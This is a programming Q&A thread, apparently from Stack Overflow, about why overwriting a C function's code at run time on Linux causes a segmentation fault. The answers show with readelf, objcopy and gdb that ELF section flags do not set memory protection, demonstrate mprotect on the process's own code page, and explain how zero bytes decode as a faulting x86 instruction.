How run time code modification is restricted by any OS? - c

Question

To check whether I can change code at run time or not, I wrote a small piece of code(below) in linux.
int add(int a, int b)
{
printf("reached inside the function");
return a+b;
}
int main()
{
int x=10;
int y = 20;
int * p;
int z;
int (*fp) (int , int);
fp = add;
p = (int *)fp;
*(p+0) = 0;
z = add(x,y);
}
As there is no issue from c coding point of view, compiler compiles is perfectly and link also happens. But at run time it fails with below error:
Segmentation fault (core dumped)
Above error is perfect, because code segment is not supposed to be changed at run time, But I want to know how it is controlled at run time.
To know more about the code area restrictions, I ran readelf on the output file and result shows below in section headers:
[13] .text PROGBITS 08048330 000330 0001cc 00 AX 0 0 16
where section header flag shows as "AX" , means this section is just allocatable and executable. It does not support writing ("W").
and with a small change in the elf file I was able to modify the flag of this section as "WAX" , as below:
[13] .text PROGBITS 08048330 000330 0001cc 00 WAX 0 0 16
But still I get the same "segmentation fault" error.
I want to know - how is it achieved by the system?

Answer 1

The system is ignoring the W flag here:
$ gcc -Wall file.c
$ readelf -S a.out | grep .text
[14] .text PROGBITS 08048330 000330 0001cc 00 AX 0 0 16
$ objcopy a.out --set-section-flags .text=alloc,code,data a.out
$ readelf -S a.out | grep .text
[14] .text PROGBITS 08048330 000330 0001cc 00 WAX 0 0 16
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: a.out
Program received signal SIGSEGV, Segmentation fault.
0x0804842f in main ()
(gdb) x/i 0x0804842f
0x804842f <main+45>: movl $0x0,(%eax)
(gdb)
You still cannot write to p. You can change the memory page protection at runtime using mprotect:
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
int add(int a, int b)
{
printf("reached inside the function");
return a+b;
}
int main()
{
int x=10;
int y = 20;
int * p;
int z;
int (*fp) (int , int);
long pagesize;
fp = add;
p = (int *)fp;
pagesize = sysconf(_SC_PAGESIZE);
if(mprotect((void *)((uintptr_t)p & ~((uintptr_t)pagesize - 1)), pagesize, PROT_READ | PROT_WRITE | PROT_EXEC) == -1)
perror("Error mprotect()");
*(p+0) = 0;
z = add(x,y);
return 0;
}
this will leave you with the bad instruction to fix:
$ gcc -Wall file.c
$ ./a.out
Segmentation fault
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: a.out
Program received signal SIGSEGV, Segmentation fault.
0x08048484 in add ()
(gdb) x/i 0x08048484
0x8048484 <add>: add %al,(%eax)
(gdb)

Answer 2

Does the segmentation fault happen at the same place?
It could be that the OS ignores the W flag, but I don't think that's the case here. Assuming the OS honours the flag, the following is relevant.
You are overwriting the first instruction of the add function with 0, which in x86 assembly is (assuming 4 bytes int here)
00000000 0000 add [bx+si],al
00000002 0000 add [bx+si],al
This most likely ends up accessing invalid memory, at bx+si.